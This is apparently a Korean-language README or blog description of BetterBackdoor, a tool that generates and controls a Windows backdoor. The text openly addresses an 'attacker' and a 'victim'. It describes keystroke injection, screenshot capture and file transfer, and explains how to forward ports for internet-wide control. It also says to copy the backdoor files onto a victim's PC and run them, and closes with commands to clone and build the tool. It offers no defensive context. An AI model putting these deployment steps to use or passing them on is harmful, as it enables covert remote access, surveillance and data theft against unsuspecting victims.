
다양한 기능을 갖춘 백도어.
백도어는 원격으로 시스템에 접근하기 위해 사용되는 도구입니다.
일반적으로 NetCat과 같은 백도어 유틸리티는 두 가지 주요 기능을 가지고 있습니다: 원격 입력을 cmd 또는 bash로 파이프하고 응답을 출력하는 것입니다. 이는 유용하지만 한계가 있습니다. BetterBackdoor는 키 입력 주입, 스크린샷 캡처, 파일 전송 등 다양한 작업을 포함하여 이러한 한계를 극복합니다.
BetterBackdoor는 백도어를 생성하고 제어할 수 있습니다.
이 생성된 백도어는 다음을 수행할 수 있습니다:
이 백도어는 클라이언트-서버 소켓 연결을 사용하여 통신합니다. 공격자가 서버를 시작하면 피해자가 클라이언트로서 이 서버에 연결합니다. (참고: 여러 클라이언트가 연결을 시도하면 사용자에게 연결할 클라이언트를 선택하라는 메시지가 표시됩니다) 연결이 설정되면 백도어를 제어하기 위해 클라이언트에 명령을 보낼 수 있습니다.
백도어를 생성하기 위해 BetterBackdoor는 다음을 수행합니다:
백도어는 단일 네트워크(LAN) 및 인터넷(WAN)을 통해 작동할 수 있습니다. 그러나 WAN을 통해 백도어를 사용하려면 포트 포워딩이 필요합니다.
WAN 사용을 위해 공격자의 컴퓨터에서 TCP를 선택하여 포트 1025와 1026을 포워딩해야 합니다. 이 작업이 완료되면 피해자와 공격자가 다른 네트워크에 있어도 공격자가 백도어를 제어할 수 있습니다.
피해자 PC에서 백도어를 시작하려면 'backdoor' 디렉토리의 모든 파일을 피해자 PC로 전송하세요.
JRE가 백도어에 패키징된 경우 run.bat을 실행하고, 그렇지 않으면 run.jar을 실행하세요.
이렇게 하면 피해자 PC에서 백도어가 시작됩니다.
실행 중이면, 백도어를 제어하기 위해 BetterBackdoor로 돌아가서 시작 시 옵션 1을 실행해야 합니다.
BetterBackdoor는 Windows, Mac, Linux와 호환되지만, 백도어는 Windows에서만 호환됩니다.
# clone BetterBackdoor
git clone https://github.com/thatcherclough/BetterBackdoor.git
# change the working directory to BetterBackdoor
cd BetterBackdoor
# build BetterBackdoor with Maven
# for Windows run
mvnw.cmd clean package
# for Linux and Mac run
sh mvnw clean package
java -jar betterbackdoor.jar